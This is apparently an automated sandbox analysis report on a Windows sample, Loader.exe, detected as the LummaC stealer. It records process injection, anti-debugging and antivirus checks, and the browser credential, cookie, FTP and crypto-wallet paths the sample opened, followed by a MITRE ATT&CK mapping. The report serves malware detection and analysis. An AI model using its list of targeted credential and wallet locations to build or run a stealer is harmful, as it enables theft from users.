Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E65444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00E65444
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E65438 SetUnhandledExceptionFilter,	2_2_00E65438
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E67DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00E67DCA

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E7B18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00E7B18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Loader.exe

Memory written: C:\Users\user\Desktop\Loader.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E65200 cpuid

0_2_00E65200

Source: C:\Users\user\Desktop\Loader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E658C5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00E658C5

Source: C:\Users\user\Desktop\Loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Loader.exe, 00000002.00000003.1840709538.0000000003787000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883066535.0000000003729000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 3864, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Loader.exe, 00000002.00000003.1730285852.000000000377D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: Loader.exe, 00000002.00000003.1813007192.0000000003729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Loader.exe	String found in binary or memory: Jaxx Liberty
Source: Loader.exe, 00000002.00000003.1813007192.0000000003729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Loader.exe, 00000002.00000003.1813007192.0000000003724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Loader.exe, 00000002.00000003.1812901970.000000000377E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: Loader.exe, 00000002.00000003.1813007192.0000000003729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Loader.exe, 00000002.00000003.1812901970.000000000377E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Loader.exe, 00000002.00000003.1730285852.000000000377D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1730285852.000000000377D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Loader.exe PID: 3864, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 3864, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
